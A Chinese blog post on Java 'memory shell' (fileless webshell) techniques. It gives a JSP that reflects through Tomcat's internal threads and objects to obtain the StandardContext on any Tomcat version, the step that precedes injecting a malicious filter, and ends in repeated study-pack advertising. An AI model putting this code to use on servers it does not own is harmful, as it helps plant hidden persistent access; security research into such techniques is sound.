Java Filter 型内存马调试系列 (三)——一种Tomcat全版本获取StandardContext的新方法(全网首次发布,精调无错版)_standardcontext获取

0x01 具体实现

参考了这篇文章的思路:

Java内存马:一种Tomcat全版本获取StandardContext的新方法 - 先知社区​​​​​​,但文中的代码和逻辑均有错误。

我改进优化的代码:

2.jsp

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.StandardEngine" %>
<%@ page import="org.apache.catalina.core.StandardHost" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.util.Iterator" %>
<%@ page import="java.util.logging.Logger" %>
<%!
    String uri;
    String serverName;
    StandardContext standardContext;

    public Object getField(Object object, String fieldName) {
        Logger log3 = Logger.getLogger("113");
        Field declaredField;
        Class clazz = object.getClass();
        while (clazz != Object.class) {
            try {
                declaredField = clazz.getDeclaredField(fieldName);   // 取得这个类自己定义的所有公开的私有的字段,但是不包括继承的字段
                declaredField.setAccessible(true);
                return declaredField.get(object);
            } catch (NoSuchFieldException e) {
                //log3.info(e.toString()); //java.lang.NoSuchFieldException
            } catch (IllegalAccessException e) {
                log3.info(e.toString());
            }
            clazz = clazz.getSuperclass();
        }
        return null;
    }


    public void getStandardContext() {
        String ANSI_YELLOW = "\u001B[33m";
        String ANSI_GREEN = "\u001B[32m";
        String ANSI_RESET = "\u001B[0m";
        Logger log2 = Logger.getLogger("113");
        log2.info(ANSI_YELLOW + "getStandardContext method ing..." + ANSI_RESET);
        Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
        //log2.info(String.valueOf(threads.length));  //32

        for (Thread thread : threads) {
            // 过滤掉不相关的线程
            if (thread == null || thread.getName().contains("exec")) {
                continue;
            }

            if ((thread.getName().contains("Acceptor") || thread.getName().contains("Poller")) && (thread.getName().contains("http"))) {  // thread  http-nio-8080-Acceptor
                log2.info("thread: " + thread.getName());
                Object target = this.getField(thread, "target"); //target org.apache.tomcat.util.net.Acceptor@6698f6ae
                log2.info("target: " + target.toString());
                HashMap children;
                Object jioEndPoint = null;

                // Poller 线程
                if (thread.getName().contains("Poller")) {
                    try {
                        jioEndPoint = getField(target, "this$0");  //等价于  thread.getClass().getDeclaredField("this$0");  // Poller 线程
                        log2.info("jioEndPoint: " + jioEndPoint.toString());
                    } catch (Exception e) {
                        //log2.info(e.toString());  //java.lang.NullPointerException
                    }
                } else
                    // Acceptor 线程
                    if (thread.getName().contains("Acceptor")) {
                        //if (jioEndPoint == null) {
                        try {
                            jioEndPoint = getField(target, "endpoint");  // org.apache.tomcat.util.net.NioEndpoint@4eaaa9
                            log2.info("jioEndPoint: " + jioEndPoint.toString());
                        } catch (Exception e) {
                            log2.warning("异常,准备return " + e.toString());
                            return;
                        }
                    }
                Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
                log2.info("service: " + service.toString());   // StandardService[Catalina]
                StandardEngine engine = null;
                try {
                    // tomcat 6,7,8
                    engine = (StandardEngine) getField(service, "container");
                    log2.info("engine: " + engine.toString());
                } catch (Exception e) {
                    //log2.info(e.toString());  //java.lang.NullPointerException
                }
                if (engine == null) {
                    // tomcat 9
                    engine = (StandardEngine) getField(service, "engine");  // StandardEngine[Catalina]
                    log2.info("engine: " + engine.toString());
                }

                children = (HashMap) getField(engine, "children");  //{localhost=StandardEngine[Catalina].StandardHost[localhost]}
                log2.info("children: " + children.toString());
                try {
                    // 这里使用ip会有问题会走catch的逻辑,也可以都用catch的逻辑代替
                    StandardHost standardHost = (StandardHost) children.get(this.serverName);
                    children = (HashMap) getField(standardHost, "children");
                    log2.info("standardHost: " + standardHost.toString());
                    Iterator iterator = children.keySet().iterator();
                    while (iterator.hasNext()) {
                        String contextKey = (String) iterator.next();
                        if (!(this.uri.startsWith(contextKey))) {
                            continue;
                        }
                        StandardContext standardContext = (StandardContext) children.get(contextKey);
                        this.standardContext = standardContext;
                        return;
                    }
                } catch (Exception e) {
                    // 不管是用 ip 还是 localhost 访问 最终都是走这个逻辑   children.get("localhost");
                    //log2.info(e.toString());  // java.lang.NullPointerException

                    StandardHost standardHost = (StandardHost) children.get("localhost");
                    log2.info("standardHost: " + standardHost.toString());
                    try {
                        children = (HashMap) getField(standardHost, "children");
                        Iterator iterator = children.keySet().iterator();
                        while (iterator.hasNext()) {
                            String contextKey = (String) iterator.next();
                            if (this.uri.startsWith(contextKey) && contextKey != "") {
                                StandardContext standardContext = (StandardContext) children.get(contextKey);
                                this.standardContext = standardContext; // StandardEngine[Catalina].StandardHost[localhost].StandardContext[/untitled3_war_exploded]
                                log2.warning(ANSI_GREEN + "standardContext: " + standardContext.toString() + ANSI_RESET);
                                return;
                            }
                        }
                    } catch (Exception e2) {
                        //log2.info(e2.toString()); //java.lang.NoSuchFieldException: children
                    }
                }
            }
        }
    }

    public StandardContext getSTC() {
        return this.standardContext;
    }

%>
<%
    String ANSI_RESET = "\u001B[0m";
    String ANSI_RED = "\u001B[31m";
    String ANSI_GREEN = "\u001B[32m";
    String ANSI_YELLOW = "\u001B[33m";
    Logger log = Logger.getLogger("main");

    Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads"); // tomcat 线程
    Object object;
    for (Thread thread : threads) {
        if (thread == null || thread.getName().contains("exec")) {
            continue;
        }
        log.info(ANSI_RED + "main_thread: " + thread + ANSI_RESET);        // 打印 线程  // Thread[main,5,main]  // Thread[Monitor Ctrl-Break,5,main]
        if (thread.getName().contains("Acceptor") || thread.getName().contains("Poller")) {
            Object target = this.getField(thread, "target");  //! target instanceof Runnable
            log.info("main_target: " + target);
            log.info(String.valueOf(target instanceof Runnable));
            if (!(target instanceof Runnable)) {
                continue;
            }

            try {
                object = getField(getField(getField(target, "this$0"), "handler"), "global");
            } catch (Exception e) {
                //log.warning(ANSI_RED+e.toString()+ANSI_RESET); // java.lang.NoSuchFieldException
                continue;
            }
            if (object == null) {
                continue;
            }
            java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();
                Object req = getField(next, "req");   // 获取 req 对象
                // 过滤 // req: R( null)
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)) {   // 不是对应的请求时,serverPort = -1
                    continue;
                }
                log.info("req: " + req.toString());  // req: R( /untitled3_war_exploded/2.jsp)

                org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
                this.serverName = (String) getField(serverNameMB, "strValue");
                if (this.serverName == null) {
                    this.serverName = serverNameMB.toString();
                }
                if (this.serverName == null) {
                    this.serverName = serverNameMB.getString();
                }
                log.info(this.serverName.toString());  // 10.10.40.65
                org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
                this.uri = (String) getField(uriMB, "strValue");
                if (this.uri == null) {
                    this.uri = uriMB.toString();
                }
                if (this.uri == null) {
                    this.uri = uriMB.getString();
                }
                log.info(this.uri.toString());
                this.getStandardContext();
            }
        }
    }
%>

0x02 复盘总结

getField(jioEndPoint, "handler").proto.endpoint.poller.selector.keys[0]

(threads[6].target.endpoint.poller.selector.keys).toArray()[0].channel.toString()
## 最后

**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**

**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**

**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**

![img](https://img-blog.csdnimg.cn/img_convert/d9f6991881adcb1e3e690bd10fd6d297.png)

![img](https://img-blog.csdnimg.cn/img_convert/942e4bf13dfbd6b296b82c51e451d126.png)

![img](https://img-blog.csdnimg.cn/img_convert/706cee8dc3aed9a06e8ce3bd2c0d68d5.png)

![img](https://img-blog.csdnimg.cn/img_convert/071c505e799aa5bfde69812ec7997b33.png)

![img](https://img-blog.csdnimg.cn/img_convert/3b249039edaf525253ef37741c16db7f.png)

 

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**

[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**

..(img-IYkdmKW1-1715881543180)]

 

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**

[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值